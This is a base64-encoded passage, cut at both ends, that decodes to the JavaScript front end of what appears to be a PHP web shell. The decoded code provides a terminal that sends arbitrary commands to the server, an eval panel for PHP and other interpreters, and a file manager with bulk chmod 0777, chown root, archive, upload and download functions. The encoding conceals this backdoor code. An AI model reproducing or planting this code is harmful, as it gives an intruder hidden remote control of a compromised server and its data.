eXBlKXtlZGl0RmlsZW5hbWU9JCgnI2VkaXRGaWxlbmFtZScpLnZhbCgpO2VkaXRJbnB1dD0kKCcjZWRpdElucHV0JykudmFsKCk7ZWRpdFN1Y2Nlc3M9ZmFsc2U7cHJlc2VydmVUaW1lc3RhbXA9J2ZhbHNlJztpZigkKCcuY0JveCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKSlwcmVzZXJ2ZVRpbWVzdGFtcD0ndHJ1ZSc7c2VuZF9wb3N0KHtlZGl0VHlwZTplZGl0VHlwZSxlZGl0RmlsZW5hbWU6ZWRpdEZpbGVuYW1lLGVkaXRJbnB1dDplZGl0SW5wdXQscHJlc2VydmVUaW1lc3RhbXA6cHJlc2VydmVUaW1lc3RhbXB9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtlZGl0U3VjY2Vzcz0nc3VjY2Vzcyc7dmlldyhlZGl0RmlsZW5hbWUsZWRpdFR5cGUscHJlc2VydmVUaW1lc3RhbXApfWVsc2UgZWRpdFN1Y2Nlc3M9J2Vycm9yJ30pfWZ1bmN0aW9uIG1hc3NfYWN0KHR5cGUpe2J1ZmZlcj1nZXRfYWxsX2Nib3hfc2VsZWN0ZWQoJ3hwbFRhYmxlJywneHBsX2hyZWYnKTtpZigodHlwZT09J2N1dCcpfHwodHlwZT09J2NvcHknKSl7bG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckxlbmd0aCcsYnVmZmVyLmxlbmd0aCk7bG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckFjdGlvbicsdHlwZSk7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJfJytpLHYpfSl9ZWxzZSBpZih0eXBlPT0ncGFzdGUnKXtidWZmZXJMZW5ndGg9bG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlckxlbmd0aCcpO2J1ZmZlckFjdGlvbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyQWN0aW9uJyk7aWYoYnVmZmVyTGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7Zm9yKHZhciBpPTA7aTxidWZmZXJMZW5ndGg7aSsrKXtpZigoYnVmZj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyXycraSkpKXttYXNzQnVmZmVyKz1idWZmKydcbid9fW1hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO2lmKGJ1ZmZlckFjdGlvbj09J2N1dCcpdGl0bGU9J21vdmUnO2Vsc2UgaWYoYnVmZmVyQWN0aW9uPT0nY29weScpdGl0bGU9J2NvcHknO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nbWFzc0J1ZmZlcicgc3R5bGU9J2hlaWdodDoxMjBweDttaW4taGVpZ2h0OjEyMHB4OycgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPiIrdGl0bGUrIiBoZXJlPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb19wYXN0ZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygncGFzdGUnKTtcIj4iK3RpdGxlKyI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh1Y2ZpcnN0KHRpdGxlKSxjb250ZW50KX19ZWxzZSBpZigodHlwZT09J2V4dHJhY3QgKHRhciknKXx8KHR5cGU9PSdleHRyYWN0ICh0YXIuZ3opJyl8fCh0eXBlPT0nZXh0cmFjdCAoemlwKScpKXtpZih0eXBlPT0nZXh0cmFjdCAodGFyKScpYXJjVHlwZT0ndW50YXInO2Vsc2UgaWYodHlwZT09J2V4dHJhY3QgKHRhci5neiknKWFyY1R5cGU9J3VudGFyZ3onO2Vsc2UgaWYodHlwZT09J2V4dHJhY3QgKHppcCknKWFyY1R5cGU9J3VuemlwJztpZihidWZmZXIubGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe21hc3NCdWZmZXIrPXYrJ1xuJ30pO21hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO3RpdGxlPXR5cGU7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5FeHRyYWN0IHRvPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrYXJjVHlwZSsiJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1hc3NfYWN0X2dvKCciK2FyY1R5cGUrIicpO1wiPmV4dHJhY3Q8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh1Y2ZpcnN0KHRpdGxlKSxjb250ZW50KX19ZWxzZSBpZigodHlwZT09J2NvbXByZXNzICh0YXIpJyl8fCh0eXBlPT0nY29tcHJlc3MgKHRhci5neiknKXx8KHR5cGU9PSdjb21wcmVzcyAoemlwKScpKXtkYXRlPW5ldyBEYXRlKCk7cmFuZD1kYXRlLmdldFRpbWUoKTtpZih0eXBlPT0nY29tcHJlc3MgKHRhciknKXthcmNUeXBlPSd0YXInO2FyY0ZpbGVuYW1lPXJhbmQrJy50YXInfWVsc2UgaWYodHlwZT09J2NvbXByZXNzICh0YXIuZ3opJyl7YXJjVHlwZT0ndGFyZ3onO2FyY0ZpbGVuYW1lPXJhbmQrJy50YXIuZ3onfWVsc2UgaWYodHlwZT09J2NvbXByZXNzICh6aXApJyl7YXJjVHlwZT0nemlwJzthcmNGaWxlbmFtZT1yYW5kKycuemlwJ31pZihidWZmZXIubGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe21hc3NCdWZmZXIrPXYrJ1xuJ30pO21hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO3RpdGxlPXR5cGU7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5BcmNoaXZlPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK2FyY0ZpbGVuYW1lKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK2FyY1R5cGUrIicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIithcmNUeXBlKyInKTtcIj5jb21wcmVzczwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHVjZmlyc3QodGl0bGUpLGNvbnRlbnQpfX1lbHNlIGlmKHR5cGUhPScnKXtpZihidWZmZXIubGVuZ3RoPjApe21hc3NCdWZmZXI9Jyc7JC5lYWNoKGJ1ZmZlcixmdW5jdGlvbihpLHYpe21hc3NCdWZmZXIrPXYrJ1xuJ30pO21hc3NCdWZmZXI9JC50cmltKG1hc3NCdWZmZXIpO3RpdGxlPXR5cGU7bGluZT0nJztpZih0eXBlPT0nY2htb2QnKWxpbmU9Ijx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Y2htb2Q8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JzA3NzcnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4iO2Vsc2UgaWYodHlwZT09J2Nob3duJylsaW5lPSI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPmNob3duPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSdyb290JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fIit0eXBlKyInKTtcIj48L3RkPjwvdHI+IjtlbHNlIGlmKHR5cGU9PSd0b3VjaCcpe3ZhciBub3c9bmV3IERhdGUoKTtsaW5lPSI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPnRvdWNoPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPSciK25vdy50b0dNVFN0cmluZygpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4ifWNvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nbWFzc0J1ZmZlcicgc3R5bGU9J2hlaWdodDoxMjBweDttaW4taGVpZ2h0OjEyMHB4Oycgd3JhcD0nb2ZmJyBkaXNhYmxlZD4iK21hc3NCdWZmZXIrIjwvdGV4dGFyZWE+PC90ZD48L3RyPiIrbGluZSsiPHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFzc19hY3RfZ28oJyIrdHlwZSsiJyk7XCI+Iit0aXRsZSsiPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godWNmaXJzdCh0aXRsZSksY29udGVudCl9fSQoJy5jQm94U2VsZWN0ZWQnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7eHBsX3VwZGF0ZV9zdGF0dXMoKX1mdW5jdGlvbiBtYXNzX2FjdF9nb190YXIoKXttYXNzX2FjdF9nbygndGFyJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fdGFyZ3ooKXttYXNzX2FjdF9nbygndGFyZ3onKX1mdW5jdGlvbiBtYXNzX2FjdF9nb196aXAoKXttYXNzX2FjdF9nbygnemlwJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fdW50YXIoKXttYXNzX2FjdF9nbygndW50YXInKX1mdW5jdGlvbiBtYXNzX2FjdF9nb191bnRhcmd6KCl7bWFzc19hY3RfZ28oJ3VudGFyZ3onKX1mdW5jdGlvbiBtYXNzX2FjdF9nb191bnppcCgpe21hc3NfYWN0X2dvKCd1bnppcCcpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3Bhc3RlKCl7bWFzc19hY3RfZ28oJ3Bhc3RlJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fY2htb2QoKXttYXNzX2FjdF9nbygnY2htb2QnKX1mdW5jdGlvbiBtYXNzX2FjdF9nb19jaG93bigpe21hc3NfYWN0X2dvKCdjaG93bicpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3RvdWNoKCl7bWFzc19hY3RfZ28oJ3RvdWNoJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ28obWFzc1R5cGUpe21hc3NCdWZmZXI9JC50cmltKCQoJy5tYXNzQnVmZmVyJykudmFsKCkpO21hc3NQYXRoPWdldF9jd2QoKTttYXNzVmFsdWU9Jyc7aWYobWFzc1R5cGU9PSdwYXN0ZScpe2J1ZmZlckxlbmd0aD1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyTGVuZ3RoJyk7YnVmZmVyQWN0aW9uPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJBY3Rpb24nKTtpZihidWZmZXJMZW5ndGg+MCl7bWFzc0J1ZmZlcj0nJztmb3IodmFyIGk9MDtpPGJ1ZmZlckxlbmd0aDtpKyspe2lmKChidWZmPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJfJytpKSkpe21hc3NCdWZmZXIrPWJ1ZmYrJ1xuJ319bWFzc0J1ZmZlcj0kLnRyaW0obWFzc0J1ZmZlcik7aWYoYnVmZmVyQWN0aW9uPT0nY29weScpbWFzc1R5cGU9J2NvcHknO2Vsc2UgaWYoYnVmZmVyQWN0aW9uPT0nY3V0JyltYXNzVHlwZT0nY3V0J319ZWxzZSBpZigobWFzc1R5cGU9PSdjaG1vZCcpfHwobWFzc1R5cGU9PSdjaG93bicpfHwobWFzc1R5cGU9PSd0b3VjaCcpKXttYXNzVmFsdWU9JCgnLm1hc3NWYWx1ZScpLnZhbCgpfWVsc2UgaWYoKG1hc3NUeXBlPT0ndGFyJyl8fChtYXNzVHlwZT09J3Rhcmd6Jyl8fChtYXNzVHlwZT09J3ppcCcpKXttYXNzVmFsdWU9JCgnLm1hc3NWYWx1ZScpLnZhbCgpfWVsc2UgaWYoKG1hc3NUeXBlPT0ndW50YXInKXx8KG1hc3NUeXBlPT0ndW50YXJneicpfHwobWFzc1R5cGU9PSd1bnppcCcpKXttYXNzVmFsdWU9JCgnLm1hc3NWYWx1ZScpLnZhbCgpfWlmKG1hc3NCdWZmZXIhPScnKXtzZW5kX3Bvc3Qoe21hc3NUeXBlOm1hc3NUeXBlLG1hc3NCdWZmZXI6bWFzc0J1ZmZlcixtYXNzUGF0aDptYXNzUGF0aCxtYXNzVmFsdWU6bWFzc1ZhbHVlfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7JCgnLmJveHJlc3VsdCcpLmh0bWwocmVzKycgT3BlcmF0aW9uKHMpIHN1Y2NlZWRlZCcpfWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTtuYXZpZ2F0ZShnZXRfY3dkKCkpfSl9fWZ1bmN0aW9uIHhwbF91cGRhdGVfc3RhdHVzKCl7dG90YWxTZWxlY3RlZD0kKCcjeHBsVGFibGUnKS5maW5kKCcuY0JveFNlbGVjdGVkJykubm90KCcuY0JveEFsbCcpLmxlbmd0aDtpZih0b3RhbFNlbGVjdGVkPT0wKSQoJy54cGxTZWxlY3RlZCcpLmh0bWwoJycpO2Vsc2UgJCgnLnhwbFNlbGVjdGVkJykuaHRtbCgnLCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkJyl9ZnVuY3Rpb24geHBsX2JpbmQoKXskKCcubmF2aWdhdGUnKS5vZmYoJ2NsaWNrJyk7JCgnLm5hdmlnYXRlJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPXhwbF9ocmVmKCQodGhpcykpO25hdmlnYXRlKHBhdGgpO2hpZGVfYm94KCl9KTskKCcubmF2YmFyJykub2ZmKCdjbGljaycpOyQoJy5uYXZiYXInKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9JCh0aGlzKS5hdHRyKCdkYXRhLXBhdGgnKTtuYXZpZ2F0ZShwYXRoKTtoaWRlX2JveCgpfSk7JCgnLm5ld2ZvbGRlcicpLm9mZignY2xpY2snKTskKCcubmV3Zm9sZGVyJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7bmV3Zm9sZGVyKHBhdGgpfSk7JCgnLm5ld2ZpbGUnKS5vZmYoJ2NsaWNrJyk7JCgnLm5ld2ZpbGUnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTtuZXdmaWxlKHBhdGgpfSk7JCgnLmRlbCcpLm9mZignY2xpY2snKTskKCcuZGVsJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7ZGVsKHBhdGgpfSk7JCgnLnZpZXcnKS5vZmYoJ2NsaWNrJyk7JCgnLnZpZXcnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9eHBsX2hyZWYoJCh0aGlzKSk7dmlldyhwYXRoLCdhdXRvJyk7aGlkZV9ib3goKX0pOyQoJy5oZXgnKS5vZmYoJ2NsaWNrJyk7JCgnLmhleCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD14cGxfaHJlZigkKHRoaXMpKTt2aWV3KHBhdGgsJ2hleCcpfSk7JCgnI3ZpZXdGdWxsc2l6ZScpLm9mZignY2xpY2snKTskKCcjdmlld0Z1bGxzaXplJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtzcmM9JCgnI3ZpZXdJbWFnZScpLmF0dHIoJ3NyYycpO3dpbmRvdy5vcGVuKHNyYyl9KTskKCcuZWRpdCcpLm9mZignY2xpY2snKTskKCcuZWRpdCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD14cGxfaHJlZigkKHRoaXMpKTt2aWV3KHBhdGgsJ2VkaXQnKTtoaWRlX2JveCgpfSk7JCgnLnJlbicpLm9mZignY2xpY2snKTskKCcucmVuJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7cmVuKHBhdGgpfSk7JCgnLmFjdGlvbicpLm9mZignY2xpY2snKTskKCcuYWN0aW9uJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPWh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7YWN0aW9uKHBhdGgsJ2ZpbGUnKX0pOyQoJy5hY3Rpb25mb2xkZXInKS5vZmYoJ2NsaWNrJyk7JCgnLmFjdGlvbmZvbGRlcicpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD1odG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpO2FjdGlvbihwYXRoLCdkaXInKX0pOyQoJy5hY3Rpb25kb3QnKS5vZmYoJ2NsaWNrJyk7JCgnLmFjdGlvbmRvdCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD1odG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpO2FjdGlvbihwYXRoLCdkb3QnKX0pOyQoJy5kbCcpLm9mZignY2xpY2snKTskKCcuZGwnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9aHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTskKCcjZm9ybScpLmFwcGVuZCgiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZG93bmxvYWQnIHZhbHVlPSciK3BhdGgrIic+Iik7JCgnI2Zvcm0nKS5zdWJtaXQoKTskKCcjZm9ybScpLmh0bWwoJycpO2hpZGVfYm94KCl9KTskKCcudWwnKS5vZmYoJ2NsaWNrJyk7JCgnLnVsJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtwYXRoPXhwbF9ocmVmKCQodGhpcykpO25hdmlnYXRlKHBhdGgsZmFsc2UpO3BhdGg9aHRtbF9zYWZlKHBhdGgpO3VsKHBhdGgpO2hpZGVfYm94KCl9KTskKCcuZmluZCcpLm9mZignY2xpY2snKTskKCcuZmluZCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7cGF0aD14cGxfaHJlZigkKHRoaXMpKTtuYXZpZ2F0ZShwYXRoLGZhbHNlKTtwYXRoPWh0bWxfc2FmZShwYXRoKTtmaW5kKHBhdGgpO2hpZGVfYm94KCl9KTskKCcjbWFzc0FjdGlvbicpLm9mZignY2xpY2snKTskKCcjbWFzc0FjdGlvbicpLm9uKCdjaGFuZ2UnLGZ1bmN0aW9uKGUpe3R5cGU9JCgnI21hc3NBY3Rpb24nKS52YWwoKTttYXNzX2FjdCh0eXBlKTskKCcjbWFzc0FjdGlvbicpLnZhbCgnQWN0aW9uJyl9KTtjYm94X2JpbmQoJ3hwbFRhYmxlJywneHBsX3VwZGF0ZV9zdGF0dXMnKX1mdW5jdGlvbiB4cGxfaHJlZihlbCl7cmV0dXJuIGVsLnBhcmVudCgpLnBhcmVudCgpLmF0dHIoJ2RhdGEtcGF0aCcpfWZ1bmN0aW9uIG11bHRpbWVkaWEocGF0aCl7dmFyIGE9JCgndmlkZW8nKS5nZXQoMCk7c2VuZF9wb3N0KHttdWx0aW1lZGlhOnBhdGh9LGZ1bmN0aW9uKHJlcyl7YS5zcmM9cmVzfSk7aGlkZV9ib3goKX0kKCcjdGVybWluYWxJbnB1dCcpLm9uKCdrZXlkb3duJyxmdW5jdGlvbihlKXtpZihlLmtleUNvZGU9PTEzKXtjbWQ9JCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwoKTt0ZXJtaW5hbEhpc3RvcnkucHVzaChjbWQpO3Rlcm1pbmFsSGlzdG9yeVBvcz10ZXJtaW5hbEhpc3RvcnkubGVuZ3RoO2lmKGNtZD09J2NsZWFyJ3x8Y21kPT0nY2xzJyl7JCgnI3Rlcm1pbmFsT3V0cHV0JykuaHRtbCgnJyl9ZWxzZSBpZigocGF0aD1jbWQubWF0Y2goL2NkKC4qKS9pKSl8fChwYXRoPWNtZC5tYXRjaCgvXihbYS16XTopJC9pKSkpe3BhdGg9JC50cmltKHBhdGhbMV0pO25hdmlnYXRlKHBhdGgpfWVsc2UgaWYoY21kIT0nJyl7c2VuZF9wb3N0KHt0ZXJtaW5hbElucHV0OmNtZH0sZnVuY3Rpb24ocmVzKXtjd2Q9aHRtbF9zYWZlKGdldF9jd2QoKSk7cmVzPSc8c3BhbiBjbGFzcz1cJ3N0cm9uZ1wnPicrY3dkKycmZ3Q7PC9zcGFuPicraHRtbF9zYWZlKGNtZCkrJ1xuJytyZXMrJ1xuJzskKCcjdGVybWluYWxPdXRwdXQnKS5hcHBlbmQocmVzKTtib3R0b209JChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpOyQod2luZG93KS5zY3JvbGxUb3AoYm90dG9tKX0pfSQoJyN0ZXJtaW5hbElucHV0JykudmFsKCcnKTtzZXRUaW1lb3V0KCIkKCcjdGVybWluYWxJbnB1dCcpLmZvY3VzKCkiLDEwMCl9ZWxzZSBpZihlLmtleUNvZGU9PTM4KXtpZih0ZXJtaW5hbEhpc3RvcnlQb3M+MCl7dGVybWluYWxIaXN0b3J5UG9zLS07JCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pO2lmKHRlcm1pbmFsSGlzdG9yeVBvczwwKXRlcm1pbmFsSGlzdG9yeVBvcz0wfX1lbHNlIGlmKGUua2V5Q29kZT09NDApe2lmKHRlcm1pbmFsSGlzdG9yeVBvczx0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoLTEpe3Rlcm1pbmFsSGlzdG9yeVBvcysrOyQoJyN0ZXJtaW5hbElucHV0JykudmFsKHRlcm1pbmFsSGlzdG9yeVt0ZXJtaW5hbEhpc3RvcnlQb3NdKTtpZih0ZXJtaW5hbEhpc3RvcnlQb3M+dGVybWluYWxIaXN0b3J5Lmxlbmd0aCl0ZXJtaW5hbEhpc3RvcnlQb3M9dGVybWluYWxIaXN0b3J5Lmxlbmd0aH19Zml4X3RhYmNoYXIodGhpcyxlKX0pO2Z1bmN0aW9uIGV2YWxfZ28oKXtldmFsVHlwZT0kKCcjZXZhbFR5cGUnKS52YWwoKTtldmFsSW5wdXQ9JCgnI2V2YWxJbnB1dCcpLnZhbCgpO2V2YWxPcHRpb25zPSQoJyNldmFsT3B0aW9ucycpLnZhbCgpO2V2YWxBcmd1bWVudHM9JCgnI2V2YWxBcmd1bWVudHMnKS52YWwoKTtpZihldmFsT3B0aW9ucz09J09wdGlvbnMvU3dpdGNoZXMnKWV2YWxPcHRpb25zPScnO2lmKGV2YWxBcmd1bWVudHM9PSdBcmd1bWVudHMnKWV2YWxBcmd1bWVudHM9Jyc7aWYoJC50cmltKGV2YWxJbnB1dCkhPScnKXtzZW5kX3Bvc3Qoe2V2YWxJbnB1dDpldmFsSW5wdXQsZXZhbFR5cGU6ZXZhbFR5cGUsZXZhbE9wdGlvbnM6ZXZhbE9wdGlvbnMsZXZhbEFyZ3VtZW50czpldmFsQXJndW1lbnRzfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7c3BsaXRzPXJlcy5zcGxpdCgne1t8bnVsbHN8XX0nKTtpZihzcGxpdHMubGVuZ3RoPT0yKXtvdXRwdXQ9c3BsaXRzWzBdKyI8aHI+IitzcGxpdHNbMV07JCgnI2V2YWxPdXRwdXQnKS5odG1sKG91dHB1dCl9ZWxzZXskKCcjZXZhbE91dHB1dCcpLmh0bWwocmVzKX19fSl9fWZ1bmN0aW9uIGV2YWxfaW5pdCgpe2lmKChldmFsU3VwcG9ydGVkPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdldmFsU3VwcG9ydGVkJykpKXtldmFsX2JpbmQoKTtvdXRwdXQoImV2YWwgOiAiK2V2YWxTdXBwb3J0ZWQpO2V2YWxSZWFkeT10cnVlfWVsc2V7c2VuZF9wb3N0KHtldmFsR2V0U3VwcG9ydGVkOiJldmFsR2V0U3VwcG9ydGVkIn0sZnVuY3Rpb24ocmVzKXtldmFsUmVhZHk9dHJ1ZTtpZihyZXMhPSJlcnJvciIpe2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdldmFsU3VwcG9ydGVkJyxyZXMpO2V2YWxTdXBwb3J0ZWQ9cmVzO2V2YWxfYmluZCgpO291dHB1dCgiZXZhbCA6ICIrZXZhbFN1cHBvcnRlZCl9fSl9fWZ1bmN0aW9uIGV2YWxfYmluZCgpe2lmKChldmFsU3VwcG9ydGVkIT1udWxsKSYmKGV2YWxTdXBwb3J0ZWQhPScnKSl7c3BsaXRzPWV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTskLmVhY2goc3BsaXRzLGZ1bmN0aW9uKGksayl7JCgnI2V2YWxUeXBlJykuYXBwZW5kKCI8b3B0aW9uPiIraysiPC9vcHRpb24+Iil9KX0kKCcjZXZhbFR5cGUnKS5vbignY2hhbmdlJyxmdW5jdGlvbihlKXtpZigkKCcjZXZhbFR5cGUnKS52YWwoKT09J3BocCcpeyQoJyNldmFsQWRkaXRpb25hbCcpLmhpZGUoKX1lbHNleyQoJyNldmFsQWRkaXRpb25hbCcpLnNob3coKX19KTskKCcjZXZhbE9wdGlvbnMnKS5vbignZm9jdXMnLGZ1bmN0aW9uKGUpe29wdGlvbnM9JCgnI2V2YWxPcHRpb25zJyk7aWYob3B0aW9ucy52YWwoKT09J09wdGlvbnMvU3dpdGNoZXMnKW9wdGlvbnMudmFsKCcnKX0pOyQoJyNldmFsT3B0aW9ucycpLm9uKCdibHVyJyxmdW5jdGlvbihlKXtvcHRpb25zPSQoJyNldmFsT3B0aW9ucycpO2lmKCQudHJpbShvcHRpb25zLnZhbCgpKT09Jycpb3B0aW9ucy52YWwoJ09wdGlvbnMvU3dpdGNoZXMnKX0pOyQoJyNldmFsQXJndW1lbnRzJykub24oJ2ZvY3VzJyxmdW5jdGlvbihlKXthcmdzPSQoJyNldmFsQXJndW1lbnRzJyk7aWYoYXJncy52YWwoKT09J0FyZ3VtZW50cycpYXJncy52YWwoJycpfSk7JCgnI2V2YWxBcmd1bWVudHMnKS5vbignYmx1cicsZnVuY3Rpb24oZSl7YXJncz0kKCcjZXZhbEFyZ3VtZW50cycpO2lmKCQudHJpbShhcmdzLnZhbCgpKT09JycpYXJncy52YWwoJ0FyZ3VtZW50cycpfSk7JCgnI2V2YWxJbnB1dCcpLm9uKCdrZXlkb3duJyxmdW5jdGlvbihlKXtpZihlLmN0cmxLZXkmJihlLmtleUNvZGU9PTEwfHxlLmtleUNvZGU9PTEzKSl7ZXZhbF9nbygpfWZpeF90YWJjaGFyKHRoaXMsZSl9KX08P3BocApmb3JlYWNoKCRHTE9CQUxTWydtJ10gYXMgJGspewplY2hvICJmdW5jdGlvbiAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIigpeyAiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2pzX29udGFic2VsZWN0ZWQnXS4iIH1cbiI7fT8+Cjwvc2NyaXB0Pgo8IS0tc2NyaXB0IGVuZC0tPgo8L2JvZHk+C